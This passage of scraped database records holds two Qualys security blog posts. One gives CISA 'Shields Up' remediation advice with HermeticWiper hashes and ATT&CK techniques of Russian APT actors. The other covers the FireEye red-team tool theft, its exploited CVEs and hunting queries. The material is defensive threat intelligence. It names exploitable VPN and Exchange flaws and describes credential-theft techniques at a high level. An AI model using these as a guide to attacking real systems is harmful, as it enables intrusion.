help customers create vulnerabilities reports that are focused on CISA exploited vulnerabilities. Customers can use the VMDR vulnerabilities page or VMDR prioritization page and filter the results to focus on all the \u201cCISA Exploited\u201d open vulnerabilities in their environment. \n\nFollowing are some of the critical vulnerabilities cataloged by CISA, as specifically known to be exploited by Russian state-sponsored APT actors for initial access include:\n\n**CVE**| **QID**| **Title**| **Release Date**| **CVSS_V3** \n---|---|---|---|--- \nCVE-2018-13379| 43702| Fortinet Fortigate (FortiOS) System File Leak through Secure Sockets Layer (SSL) Virtual Private Network (VPN) via Specially Crafted Hypertext Transfer Protocol (HTTP) Resource Requests (FG-IR-18-384)| 9/12/2019| 9.8 \nCVE-2019-2725| 87386| Oracle WebLogic Server Remote Code Execution Vulnerability (Oracle Security Alert Advisory - CVE-2019-2725)| 4/27/2019| 9.8 \nCVE-2019-7609| 371687| Kibana Multiple Security Vulnerabilities (ESA-2019-01,ESA-2019-02,ESA-2019-03)| 4/18/2019| 10 \nCVE-2019-10149| 50092| Exim Remote Command Execution Vulnerability| 6/5/2019| 9.8 \nCVE-2019-11510| 38771| Pulse Connect Secure Multiple Security Vulnerabilities (SA44101)| 8/6/2019| 10 \nCVE-2019-19781| 372305| Citrix ADC And Citrix Gateway Arbitrary Code Execution Vulnerability(CTX267027)| 12/23/2019| 9.8 \nCVE-2020-0688| 50098| Microsoft Exchange Server Security Update for February 2020| 2/12/2020| 9.8 \nCVE-2020-4006| 13215| VMware Workspace One Access Command Injection Vulnerability (VMSA-2020-0027)| 12/7/2020| 9.1 \nCVE-2020-5902| 38791| F5 BIG-IP ASM,LTM,APM TMUI Remote Code Execution Vulnerability (K52145254) (unauthenticated check)| 7/5/2020| 9.8 \nCVE-2020-14882| 87431| Oracle WebLogic Server Multiple Vulnerabilities (CPUOCT2020)| 10/21/2020| 9.8 \nCVE-2021-26855, CVE-2021- 26857 CVE-2021-26858, CVE-2021-27065 | 50107| Microsoft Exchange Server Remote Code Execution Vulnerability (ProxyLogon)| 3/3/2021| 9.8 \n \nSee the full list of [CISA known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>).\n\n#### Remediate CISA recommended catalog of exploited vulnerabilities \n\nFor all CISA cataloged vulnerabilities known to be exploited by Russian state-sponsored actors, [Qualys Patch Management](<https://www.qualys.com/apps/patch-management/>) customers can create a patch and configuration fix jobs to remediate the risk of all vulnerabilities directly from the VMDR console. Qualys Patch Management maps \u201cCISA Exploited\u201d vulnerabilities detected in the environment to the relevant patches required to remediate those vulnerabilities by downloading the patches without needing to go through the VPN. Customers may use Zero Touch patching to automate the process and ensure all CISA exploited vulnerabilities are automatically fixed including the new vulnerabilities added to the CISA catalog in the future. \n\n\n\n#### Monitor and ensure your software are always up to date\n\nImmediately know all end-of-support critical components across your environment, including open-source software. Qualys CSAM tracks lifecycle stages and corresponding support status, to help organizations manage their technical debt and to reduce the risk of not receiving security patches from the vendor. Security and IT teams can work together to plan upgrades ahead of time by knowing upcoming end-of-life & end-of-support dates.\n\n\n\nUse the \u201cPrioritize Report\u201d function in Qualys Patch Management to map software in your environment to the security risk opposed. Prioritize your remediation efforts based on software that introduces the most risk. Use this report to create automated patch jobs to ensure that the riskiest software is always up to date. Alternatively, deploy individual patches for the riskiest software. \n\n\n\n### Step 3: Protect Your Cloud Services and Office 365\n\nAs noted by CISA, misconfiguration of cloud services and SaaS applications like Office 365 are the primary attack vector for breaches.\n\n#### Detect and Remediate Public Cloud Infrastructure Misconfigurations****\n\nProtect your public cloud infrastructure by securing the following services on priority:\n\n * **IAM**: Ensure all users are MFA enabled and rotate all access keys older than 30 days. Verify that all service accounts are valid (i.e. in use) and have the minimum privilege.\n * **Audit Logs**: Turn on access logging for all cloud management events and for critical services (e.g. S3, RDS, etc.)\n * **Public-facing assets**: Validate that the firewall rules for public-facing assets allow only the needed ports. Pay special attention to RDP access. Place any system with an open RDP port behind a firewall and require users to use a VPN to access it through the firewall.\n\n Automatically detect and remediate cloud misconfigurations using [Qualys CloudView](<https://www.qualys.com/apps/cloud-security-assessment/>).\n\n\n\n#### Protect your Office 365 and Other SaaS Services****\n\nEnforce multi-factor authentication on all accounts with access to Office 365 tenants. At a minimum, enable MFA for accounts with different admin access rights to the tenant. [Qualys SaaSDR](<https://www.qualys.com/apps/saas-detection-response/>) lists all such accounts on which MFA is disabled. Further, Qualys SaaSDR enables continuous security posture assessment of Office 365 via the CIS (Center for Internet Security) certified policy for Office, along with automated security configuration assessment for Zoom, Salesforce, and Google Workspace. This is based on an analysis of all security weaknesses, critical vulnerabilities, and exploits leveraged by attackers in historical attacks as well as security assessments based on the MITRE ATT&CK framework.\n\n\n\n### Step 4: Continuously Detect any Potential Threats and Attacks \n\nMonitor for increases in suspicious and malicious activities as well as anomalous behavior on all endpoints. With Qualys Multi-Vector EDR, customers can detect Indicators of Compromise (IOC) and MITRE ATT&CK Tactics & Techniques provided by CISA and respond quickly to mitigate the risk by capturing process, file, and network events on the endpoint and correlating them with the latest Threat Intelligence, including new and upcoming Indicators of Compromise (IOC) constantly added by the Qualys Research Team. Anomalous endpoint behavior is detected and identified as MITRE ATT&CK Tactics and Techniques.\n\n\n\nThe Appendix at the bottom of this post contains a list of Indicators of Compromise (IOC) and MITRE ATT&CK Tactics & Techniques being utilized.\n\n## Take Action to Learn More about How to Strengthen Your Defenses\n\nWe encourage you to learn more about how to strengthen your defenses consistent with CISA Shields Up guidelines using Qualys Cloud Platform. Join our webinar, [How to Meet CISA Shields Up Guidelines for Cyberattack Protection](<https://event.on24.com/wcc/r/3684128/0F6FB4010D39461FD4209A3E4EB8E9CD>), on March 3, 2022.\n\nQualys recommends that all organizations, regardless of size, heighten their security posture based on the above actionable steps, to protect critical cyber infrastructure from potential state-sponsored, advanced cyberattacks. Qualys Cloud Platform remains continuously committed to high standards of security and compliance to safeguard customer data. In this amplified threat environment, the entire Qualys team is available to help our customers improve cybersecurity and resilience.\n\n* * *\n\n****Implement CISA\u2019s Shields Up Guidance****\n\n[Try it Now](<https://www.qualys.com/forms/cisa-shields-up-service/>)\n\n* * *\n\n### **Appendix:**\n\n#### CISA catalog of known exploited vulnerabilities by state attackers\n\n**CVE**| **QID**| **Title**| **Release Date**| **CVSS_V3** \n---|---|---|---|--- \nCVE-2018-13379| 43702| Fortinet Fortigate (FortiOS) System File Leak through Secure Sockets Layer (SSL) Virtual Private Network (VPN) via Specially Crafted Hypertext Transfer Protocol (HTTP) Resource Requests (FG-IR-18-384)| 9/12/2019| 9.8 \nCVE-2019-1653| 13405| Cisco Small Business RV320 and RV325 Router Multiple Security Vulnerabilities| 1/29/2019| 7.5 \nCVE-2019-2725| 87386| Oracle WebLogic Server Remote Code Execution Vulnerability (Oracle Security Alert Advisory - CVE-2019-2725)| 4/27/2019| 9.8 \nCVE-2019-7609| 371687| Kibana Multiple Security Vulnerabilities (ESA-2019-01,ESA-2019-02,ESA-2019-03)| 4/18/2019| 10 \nCVE-2019-9670| 375990| Zimbra XML External Entity Injection (XXE) Vulnerability| 8/12/2021| 9.8 \nCVE-2019-10149| 50092| Exim Remote Command Execution Vulnerability| 6/5/2019| 9.8 \nCVE-2019-11510| 38771| Pulse Connect Secure Multiple Security Vulnerabilities (SA44101)| 8/6/2019| 10 \nCVE-2019-19781| 372305| Citrix ADC And Citrix Gateway Arbitrary Code Execution Vulnerability(CTX267027)| 12/23/2019| 9.8 \nCVE-2020-0688| 50098| Microsoft Exchange Server Security Update for February 2020| 2/12/2020| 9.8 \nCVE-2020-4006| 13215| VMware Workspace One Access Command Injection Vulnerability (VMSA-2020-0027)| 12/7/2020| 9.1 \nCVE-2020-5902| 38791| F5 BIG-IP ASM,LTM,APM TMUI Remote Code Execution Vulnerability (K52145254) (unauthenticated check)| 7/5/2020| 9.8 \nCVE-2020-14882| 87431| Oracle WebLogic Server Multiple Vulnerabilities (CPUOCT2020)| 10/21/2020| 9.8 \nCVE-2021-26855, CVE-2021- 26857 CVE-2021-26858, CVE-2021-27065 | 50107| Microsoft Exchange Server Remote Code Execution Vulnerability (ProxyLogon)| 3/3/2021| 9.8 \n \nSee the full list of [CISA known exploited vulnerabilities](<https://www.cisa.gov/known-exploited-vulnerabilities-catalog>).\n\n#### List of IOCs related to Hermetic Wiper aka KillDisk\n\n**SHA256 Hashes** \n--- \n0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da \n06086c1da4590dcc7f1e10a6be3431e1166286a9e7761f2de9de79d7fda9c397 \n095c7fa99dbc1ed7a3422a52cc61044ae4a25f7f5e998cc53de623f49da5da43 \n0db5e5b68dc4b8089197de9c1e345056f45c006b7b487f7d8d57b49ae385bad0 \n1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591 \n2c10b2ec0b995b88c27d141d6f7b14d6b8177c52818687e4ff8e6ecf53adf5bf \n34ca75a8c190f20b8a7596afeb255f2228cb2467bd210b2637965b61ac7ea907 \n3c557727953a8f6b4788984464fb77741b821991acbf5e746aebdd02615b1767 \n4dc13bb83a16d4ff9865a51b3e4d24112327c526c1392e14d56f20d6f4eaf382 \n7e154d5be14560b8b2c16969effdb8417559758711b05615513d1c84e56be076 \n923eb77b3c9e11d6c56052318c119c1a22d11ab71675e6b95d05eeb73d1accd6 \n9ef7dbd3da51332a78eff19146d21c82957821e464e8133e9594a07d716d892d \na196c6b8ffcb97ffb276d04f354696e2391311db3841ae16c8c9f56f36a38e92 \nb01e0c6ac0b8bcde145ab7b68cf246deea9402fa7ea3aede7105f7051fe240c1 \nb60c0c04badc8c5defab653c581d57505b3455817b57ee70af74311fa0b65e22 \nb6f2e008967c5527337448d768f2332d14b92de22a1279fd4d91000bb3d4a0fd \nc2d06ad0211c24f36978fe34d25b0018ffc0f22b0c74fd1f915c608bf2cfad15 \nd4e97a18be820a1a3af639c9bca21c5f85a3f49a37275b37fd012faeffcb7c4a \ndcbbae5a1c61dbbbb7dcd6dc5dd1eb1169f5329958d38b58c3fd9384081c9b78 \ne5f3ef69a534260e899a36cec459440dc572388defd8f1d98760d31c700f42d5 \nf50ee030224bf617ba71d88422c25d7e489571bc1aba9e65dc122a45122c9321 \nfd7eacc2f87aceac865b0aa97a50503d44b799f27737e009f91f3c281233c17d \n \n#### List of MITRE ATT&CK TIDs provided by CISA\n\n**Tactic**| **Technique******| **Procedure****** \n---|---|--- \nReconnaissance [[TA0043](<https://attack.mitre.org/versions/v10/tactics/TA0043/>)]| Active Scanning: Vulnerability Scanning [[T1595.002](<https://attack.mitre.org/versions/v10/techniques/T1595/002/>)]| \nRussian state-sponsored APT actors have performed large-scale scans in an attempt to find vulnerable servers. \nPhishing for Information [[T1598](<https://attack.mitre.org/versions/v10/techniques/T1598>)]| Russian state-sponsored APT actors have conducted spearphishing campaigns to gain credentials of target networks. \nResource Development [[TA0042]](<https://attack.mitre.org/versions/v10/tactics/TA0042/>)| Develop Capabilities: Malware [[T1587.001](<https://attack.mitre.org/versions/v10/techniques/T1587/001>)]| Russian state-sponsored APT actors have developed and deployed malware, including ICS-focused destructive malware. \nInitial Access [[TA0001](<https://attack.mitre.org/versions/v10/tactics/TA0001/>)]| Exploit Public Facing Applications [[T1190](<https://attack.mitre.org/versions/v10/techniques/T1190/>)]| Russian state-sponsored APT actors use publicly known vulnerabilities, as well as zero-days, in internet-facing systems to gain access to networks. \nSupply Chain Compromise: Compromise Software Supply Chain [[T1195.002](<https://attack.mitre.org/versions/v10/techniques/T1195/002>)]| Russian state-sponsored APT actors have gained initial access to victim organizations by compromising trusted third-party software. Notable incidents include M.E.Doc accounting software and SolarWinds Orion. \nExecution [[TA0002](<https://attack.mitre.org/versions/v10/tactics/TA0002>)]| Command and Scripting Interpreter: PowerShell [[T1059.003](<https://attack.mitre.org/versions/v10/techniques/T1059/003>)] and Windows Command Shell [[T1059.003](<https://attack.mitre.org/versions/v10/techniques/T1059/003>)]| Russian state-sponsored APT actors have used `cmd.exe` to execute commands on remote machines. They have also used PowerShell to create new tasks on remote machines, identify configuration settings, exfiltrate data, and to execute other commands. \nPersistence [[TA0003](<https://attack.mitre.org/versions/v10/tactics/TA0003>)]| Valid Accounts [[T1078](<https://attack.mitre.org/versions/v10/techniques/T1078/>)]| Russian state-sponsored APT actors have used credentials of existing accounts to maintain persistent, long-term access to compromised networks. \nCredential Access [[TA0006](<https://attack.mitre.org/versions/v10/tactics/TA0006>)]| Brute Force: Password Guessing [[T1110.001](<https://attack.mitre.org/versions/v10/techniques/T1110/001>)] and Password Spraying [[T1110.003](<https://attack.mitre.org/versions/v10/techniques/T1110/003>)]| Russian state-sponsored APT actors have conducted brute-force password guessing and password spraying campaigns. \nOS Credential Dumping: NTDS [[T1003.003](<https://attack.mitre.org/versions/v10/techniques/T1003/003/>)]| Russian state-sponsored APT actors have exfiltrated credentials and exported copies of the Active Directory database `ntds.dit`. \nSteal or Forge Kerberos Tickets: Kerberoasting [[T1558.003](<https://attack.mitre.org/versions/v10/techniques/T1558/003/>)]| Russian state-sponsored APT actors have performed \u201cKerberoasting,\u201d whereby they obtained the Ticket Granting Service (TGS) Tickets for Active Directory Service Principal Names (SPN) for offline cracking. \nCredentials from Password Stores [[T1555](<https://attack.mitre.org/versions/v10/techniques/T1555>)]| Russian state-sponsored APT actors have used previously compromised account credentials to attempt to access Group Managed Service Account (gMSA) passwords. \nExploitation for Credential Access [[T1212](<https://attack.mitre.org/versions/v10/techniques/T1212>)]| Russian state-sponsored APT actors have exploited Windows Netlogon vulnerability [CVE-2020-1472](<https://nvd.nist.gov/vuln/detail/CVE-2020-1472>) to obtain access to Windows Active Directory servers. \nUnsecured Credentials: Private Keys [[T1552.004](<https://attack.mitre.org/versions/v10/techniques/T1552/004>)]| Russian state-sponsored APT actors have obtained private encryption keys from the Active Directory Federation Services (ADFS) container to decrypt corresponding SAML signing certificates. \nCommand and Control [[TA0011](<https://attack.mitre.org/versions/v10/tactics/TA0011/>)]| Proxy: Multi-hop Proxy [[T1090.003](<https://attack.mitre.org/versions/v10/techniques/T1090/003/>)]| Russian state-sponsored APT actors have used virtual private servers (VPSs) to route traffic to targets. The actors often use VPSs with IP addresses in the home country of the victim to hide activity among legitimate user traffic.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 10.0, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 6.0}, "published": "2022-02-26T20:20:32", "type": "qualysblog", "title": "Russia-Ukraine Crisis: How to Strengthen Your Security Posture to Protect against Cyber Attack, based on CISA Guidelines", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-10149", "CVE-2019-11510", "CVE-2019-1653", "CVE-2019-19781", "CVE-2019-2725", "CVE-2019-7609", "CVE-2019-9670", "CVE-2020-0688", "CVE-2020-1472", "CVE-2020-14882", "CVE-2020-4006", "CVE-2020-5902", "CVE-2021-26855", "CVE-2021-26858", "CVE-2021-27065"], "modified": "2022-02-26T20:20:32", "id": "QUALYSBLOG:01C65083E501A6BAFB08FCDA1D561012", "href": "https://blog.qualys.com/category/vulnerabilities-threat-research", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-01-06T00:22:53", "description": "**Update Jan 5, 2021**: New patching section with two new dashboard widgets showing the number of missing FireEye-related patches in your environment and the number of assets in your environment missing one of those patches.\n\n**Update Dec 23, 2020**: Added a new section on compensating controls.\n\n**Update Dec 22, 2020: **FireEye disclosed the theft of their Red Team assessment tools. Hackers now have an influential collection of new techniques to draw upon.\n\nUsing Qualys VMDR, the vulnerabilities for Solorigate/SUNBURST can be prioritized for the following Real-Time Threat Indicators (RTIs):\n\n * Active Attacks\n * Solorigate Sunburst (**New RTI**)\n\n\n**Original post**: On December 8, 2020, [FireEye disclosed](<https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html>) theft of their Red Team assessment tools. These tools are used by FireEye to test and validate the security posture of their customers. According to FireEye, the hackers now have an influential collection of new techniques to draw upon. It is unclear today if the attackers intend to use the tools themselves or if they intend to release the tools publicly in some way. \n\n\u201cThe attackers tailored their world-class capabilities specifically to target and attack FireEye. They are highly trained in operational security and executed with discipline and focus. They operated clandestinely, using methods that counter security tools and forensic examination,\u201d said Kevin Mandia, CEO of FireEye. However, the stolen tools did not contain zero-day exploits. \n\nIn response to the breach, FireEye has provided Red Team tool countermeasures which are [available on GitHub](<https://github.com/fireeye/red_team_tool_countermeasures>). These countermeasures include rules in multiple languages such as Snort, Yara, ClamAV and HXIOC. Since none of the leaked tools leverage zero-day attacks, FireEye also provided a [listing of CVEs](<https://github.com/fireeye/red_team_tool_countermeasures/blob/master/CVEs_red_team_tools.md>) used by these tools. \n\nAn analysis of these tools shows that the functionality and capabilities may mimic some existing red team tools such as Metasploit or Cobalt Strike. Similar to how the Shadow Brokers leak led to outbreaks such as WannaCry, it is possible that this breach could lead to other commodity malware leveraging these capabilities. Any time there is high-fidelity threat intelligence such as the countermeasures provided by FireEye, it is important to look at it under the lens of how you can protect your organization going forward, as well as how you can validate if this has been used in your organization previously. \n\n### Mitigation & Protection \n\n[Snort](<https://www.snort.org/>) is an open-source intrusion prevention system (IPS) which uses an open format for its rule structure. While many companies use the open-source version of Snort, commercial IPS tools are also able to leverage the Snort rule format. Most of these rules are tuned to specifically look for beacon traffic or components of remote access tools. If your organization is using an IPS or IDS, you should plug in these signatures to look for evidence of future exploitation.\n\n[ClamAV](<https://www.clamav.net/>) is an open-source antivirus engine which is now owned by Cisco. To prevent these tools from executing on the endpoint, the provided signatures can be imported into this AV engine or any other antivirus which uses the ClamAV engine.\n\n[Yara](<https://github.com/VirusTotal/yara>) was designed by VirusTotal to help malware researchers both identify and classify malware samples. Yara can be used as a standalone scanning engine or built in to many endpoint security products as well. The provided rules can be imported into many endpoint security tools to match and block future execution of known malware.\n\nAnother important aspect for preventing the usage of these red teaming tools in your environment is to address the vulnerabilities they are known to exploit. There are 16 vulnerabilities which have been prioritized based on the CVSS score associated with them. Using a vulnerability management product such as [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>), you can proactively search which endpoints or devices have these vulnerabilities and deploy patches or configuration fixes to resolve them before an adversary has a chance to exploit them. \n\n### Threat Hunting \n\nHunting for evidence of a breach is just as important as trying to prevent the breach. Two of the components FireEye released to help this search are HXIOC and Yara rules. These help define what triggers to look for to make the determination if the organization has been breached by these tools. \n\nThe HXIOC rules provided are based on the [OpenIOC](<https://github.com/mandiant/OpenIOC_1.1>) format originally created by Mandiant. These are similar to the STIX and CyBOX formats maintained by [OASIS](<https://www.oasis-open.org/committees/tc_home.php?wg_abbrev=cti>). The rules provided by FireEye call out many process names and associated command line arguments which can be used to hunt for the evidence of an attack. \n\nBy using the provided Yara rule which encompasses all of the Yara countermeasures, you can scan multiple directories using the standalone Yara engine by issuing the \u201cyara -r all-rules.yara <path>\u201d, where <path> is the location you want to recursively scan. \n\nAlternatively, VirusTotal also has a useful API called [RetroHunt](<https://support.virustotal.com/hc/en-us/articles/360001293377-Retrohunt>) which allows you to scan files submitted within the last 12 months. [Florian Roth](<https://twitter.com/cyb3rops/status/1336583694912516096>) has gone through and submitted all of the provided Yara rules to RetroHunt and created a [Google Sheets document](<https://docs.google.com/spreadsheets/d/1uRAT-khTdp7fp15XwkiDXo8bD0FzbdkevJ2CeyXeORs/edit>) containing all of the detections. In this document you can see valuable information such as the number of detections and file hashes for each of the detected samples. \n\n### Detect 16 Publicly Known Vulnerabilities using Qualys VMDR \n\nHere is a prioritized list of CVEs published on [Github](<https://github.com/fireeye/red_team_tool_countermeasures/blob/master/CVEs_red_team_tools.md>) by FireEye:\n\n**CVE** **ID**| **Name**| **CVSS**| **Qualys** **QID(s)** \n---|---|---|--- \nCVE-2019-11510| Pre-auth arbitrary file reading from Pulse Secure SSL VPNs| 10| 38771 \nCVE-2020-1472| Microsoft Active Directory escalation of privileges| 10| 91668 \nCVE-2018-13379| pre-auth arbitrary file reading from Fortinet Fortigate SSL VPN| 9.8| 43702 \nCVE-2018-15961| RCE via Adobe ColdFusion (arbitrary file upload that can be used to upload a JSP web shell)| 9.8| 371186 \nCVE-2019-0604| RCE for Microsoft Sharepoint| 9.8| 110330 \nCVE-2019-0708| RCE of Windows Remote Desktop Services (RDS)| 9.8| 91541, 91534 \nCVE-2019-11580| Atlassian Crowd Remote Code Execution| 9.8| 13525 \nCVE-2019-19781| RCE of Citrix Application Delivery Controller and Citrix Gateway| 9.8| 150273, 372305 \nCVE-2020-10189| RCE for ZoHo ManageEngine Desktop Central| 9.8| 372442 \nCVE-2014-1812| Windows Local Privilege Escalation| 9| 91148, 90951 \nCVE-2019-3398| Confluence Authenticated Remote Code Execution| 8.8| 13475 \nCVE-2020-0688| Remote Command Execution in Microsoft Exchange| 8.8| 50098 \nCVE-2016-0167| local privilege escalation on older versions of Microsoft Windows| 7.8| 91204 \nCVE-2017-11774| RCE in Microsoft Outlook via crafted document execution (phishing)| 7.8| 110306 \nCVE-2018-8581| Microsoft Exchange Server escalation of privileges| 7.4| 53018 \nCVE-2019-8394| Arbitrary pre-auth file upload to ZoHo ManageEngine ServiceDesk Plus| 6.5| 374547 \n \nQualys released several remote and authenticated QIDs for CVEs published by FireEye. You can search for these QIDs in VMDR Dashboard by using the following QQL query:\n\n_vulnerabilities.vulnerability.qid: [38771, 91668, 43702, 371186, 110330, 91541, 91534, 13525, 150273, 372305, 372442, 91148, 90951, 13475, 50098, 91204, 110306, 53018, 374547]_\n\n\n\n### Identify Vulnerable Assets using Qualys Threat Protection\n\nIn addition, Qualys customers can locate vulnerable host through [Qualys Threat Protection](<https://www.qualys.com/apps/threat-protection/>) by simply clicking on the impacted hosts. This helps in effectively identifying and tracking these vulnerabilities. \n\n\n\nWith VMDR Dashboard, you can track these 16 publicly known vulnerabilities, their impacted hosts, their status and overall management in real time. With trending enabled for dashboard widgets, you can keep track of these vulnerabilities trends in your environment using the [FireEye Theft Top 16 CVEs & IOC Hashes](<https://qualys-secure.force.com/customer/s/article/000006470>) dashboard. \n\n \n\n### **Compensating Controls for Reducing Risk of Vulnerabilities Leveraged by FireEye Red Team Tools** \n\nTo reduce the overall security risk, it is important to address misconfigurations associated with the CVEs in addition to general security hygiene and system hardening. \n\nQualys customers can leverage the newly released policy \u201c_Compensating Controls for Reducing Risk of Vulnerabilities Leveraged by FireEye Red Team Tools_.\u201d This policy contains controls which can be used as workarounds / mitigations for these vulnerabilities if patching cannot be done immediately. \n\n**Control List: ** \n\nCVE IDs| Control ID | Statement \n---|---|--- \nCVE-2020-1472| 20002| Status of the 'Domain controller: Allow vulnerable Netlogon secure channel connections' Group policy setting \nCVE-2018-13379 | 20010 | Status of the source interface setting for SSL-VPN \nCVE-2019-19781| 13952 | Status of 'Responder' feature configured on the appliance \nCVE-2019-19781 | 20011 | Status of the responder action configured on the device \nCVE-2019-19781 | 20008 | Status of the responder policies configured on the device \nCVE-2019-19781 | 20009 | Status of the responder global binds configured on the device \nCVE-2016-0167 | 19440 | Status of Trust Center "Block macros from running in Office files from the Internet" setting for a user profile \nCVE-2018-8581 | 20007 | Status of the 'DisableLoopbackCheck' setting \nCVE-2019-0708 | 10404 | Status of the 'Require user authentication for remote connections by using Network Level Authentication' setting \nCVE-2019-0708 | 7519 | Status of the 'Allow users to connect remotely using Remote Desktop Services (Terminal Services)' setting \nCVE-2019-0708 | 1430 | Status of the 'Terminal Services' service \nCVE-2019-0708 | 3932 | Status of the 'Windows Firewall: Inbound connections (Public)' setting \nCVE-2019-0708 | 3948 | Status of the 'Windows Firewall: Inbound connections (Private)' setting \nCVE-2019-0708 | 3949 | Status of the 'Windows Firewall: Inbound connections (Domain)' setting \nCVE-2019-0708 | 3950 | Status of the 'Windows Firewall: Firewall state (Public)' setting \nCVE-2019-0708 | 3951 | Status of the 'Windows Firewall: Firewall state (Private)' setting \nCVE-2019-0708 | 3952 | Status of the 'Windows Firewall: Firewall state (Domain)' setting \nCVE-2019-0708 | 11220 | List of 'Inbound Rules' configured in Windows Firewall with Advanced Security via GPO \nCVE-2017-11774 | 13843 | Status of the 'Do not allow folders in non-default stores to be set as folder home pages' setting \nCVE-2017-11774 | 20003 | Status of the 'EnableRoamingFolderHomepages' registry setting \nCVE-2017-11774 | 20004 | Status of the 'Do not allow Home Page URL to be set in folder Properties' Group policy setting \n \nWith Qualys Configuration Management, you can easily identify misconfigured systems in context of these vulnerabilities. The screenshot below shows the total passing and failing controls for the impacted assets in the report.\n\n\n\nView control posture details with remediation steps. The screenshot below shows control pass/fail details along with actual evidence from impacted asset. \n\n\n\n### FireEye Disclosure of the Theft of their Red Team Assessment Tools \n\nHackers now have an influential collection of new techniques to draw upon. Qualys released a new RTI for Solorigate/SUNBURST vulnerabilities so customers can effectively prioritize these CVEs in their environment.\n\nUsing [Qualys VMDR](<https://www.qualys.com/subscriptions/vmdr/>), the vulnerabilities for Solorigate/SUNBURST can be prioritized for the following real-time threat indicators (RTIs):\n\n * Active Attacks\n * Solorigate Sunburst (**New RTI**)\n\n\n### Remediate FireEye-Related Vulnerabilities with Qualys Patch Management\n\n#### Identify and Install Needed Patches\n\nTo view the relevant missing patches in your environment that are required to remediate the vulnerabilities leveraged by the FireEye tools you may run the following QQL in the Patches tab of [Qualys Patch Management](<https://www.qualys.com/apps/patch-management/>):\n \n \n (qid: [91541,372442,38771,91534,91204,110330,371186,91148,90951,43702,374547,372305,110306,50098,91668,13475,53018,13525,150273])\n\n\n\nIt is highly recommended to select all the patches returned by this QQL and add them to a new on-demand patch job. You can then target as many assets as possible and deploy the patch job as soon as possible. Note that the [Qualys Cloud Agent](<https://www.qualys.com/cloud-agent/>) will only deploy the right patch to the right asset, meaning the Qualys patch job will do the mapping of patch to asset (so you don\u2019t have to) ensuring only the right patch is deployed to the right asset (in terms of binary architecture, OS version, etc). In addition, if a patch is not needed by a specific asset the Qualys agent will \u201cskip\u201d this asset and the patch will not be deployed.\n\nThe same QQL can be used in the patch assets tab in order to see all the assets that miss at least one of the FireEye-related patches:\n\n\n\n#### Visualize Assets Requiring Patches\n\nQualys has created two dashboard widgets that you can import into the patch management dashboard. These widgets will show the number of missing FireEye-related patches in your environment and the number of assets in your environment missing one of those patches.\n\nSteps to Import the Widget:\n\n * Click on "Setting" icon in "Dashboard" section.\n * Select "Import New Widget" option.\n * Enter a name of your choice for the widget.\n * Browse the JSON file to import.\n * Click on "Import" button.\n * On success, you should see the new widget in your Dashboard.\n\nYou can download these two dashboard widgets from the PatchMGMT-Fireeye-Widgets attachment at the bottom of the [FireEye Theft dashboards](<https://qualys-secure.force.com/customer/s/article/000006470>) article. \n\n### Hunting in Endpoint Detection and Response (EDR) \n\nThere are two components to hunt for evidence of these tools using the [Qualys EDR](<https://www.qualys.com/apps/endpoint-detection-response/>). The first is looking for evidence of the files from the provided Yara signatures. Qualys has taken the file hashes from the RetroHunt tool and created a dashboard. With a single click you can find evidence of any matches in your environment. \n\nThe second component is hunting for evidence of the processes outlined in the OpenIOC signatures. While these signatures cannot be imported directly into Qualys EDR, the Qualys Labs team is converting these into Qualys Query Language (QQL) which can be used in the Qualys EDR hunting page. An example provided here shows hunting for [this Seatbelt signature](<https://github.com/fireeye/red_team_tool_countermeasures/blob/master/rules/BELTALOWDA/supplemental/hxioc/SEATBELT%20\\(UTILITY\\).ioc>). In the coming days, these hunting queries will be available to all Qualys EDR customers. \n\n\n\n\n\n### Get Started Now \n\nStart your [Qualys VMDR trial](<https://www.qualys.com/subscriptions/vmdr/>) to automatically identify, detect and patch the high-priority publicly known vulnerabilities. \n\nStart your [Qualys EDR trial](<https://www.qualys.com/apps/endpoint-detection-response/>) to protect the entire attack chain, from attack and breach prevention to detection and response using the power of the Qualys Cloud Platform \u2013 all in a single, cloud-based app. \n\nStart your [Qualys Threat Protection](<https://www.qualys.com/apps/threat-protection/>) trial to access the Live Threat Intelligence Feed that displays the latest vulnerability disclosures and maps them to your impacted IT assets. You can see the number of assets affected by each threat, and drill down into asset details. \n\n### References \n\n<https://github.com/fireeye/red_team_tool_countermeasures>\n\n<https://www.fireeye.com/blog/products-and-services/2020/12/fireeye-shares-details-of-recent-cyber-attack-actions-to-protect-community.html>\n\n<https://github.com/fireeye/red_team_tool_countermeasures/blob/master/CVEs_red_team_tools.md>\n\n<https://www.fireeye.com/blog/threat-research/2020/12/unauthorized-access-of-fireeye-red-team-tools.html>", "cvss3": {}, "published": "2020-12-10T00:48:29", "type": "qualysblog", "title": "Solorigate/Sunburst : Theft of Cybersecurity Tools | FireEye Breach", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2014-1812", "CVE-2016-0167", "CVE-2017-11774", "CVE-2018-13379", "CVE-2018-15961", "CVE-2018-8581", "CVE-2019-0604", "CVE-2019-0708", "CVE-2019-11510", "CVE-2019-11580", "CVE-2019-19781", "CVE-2019-3398", "CVE-2019-8394", 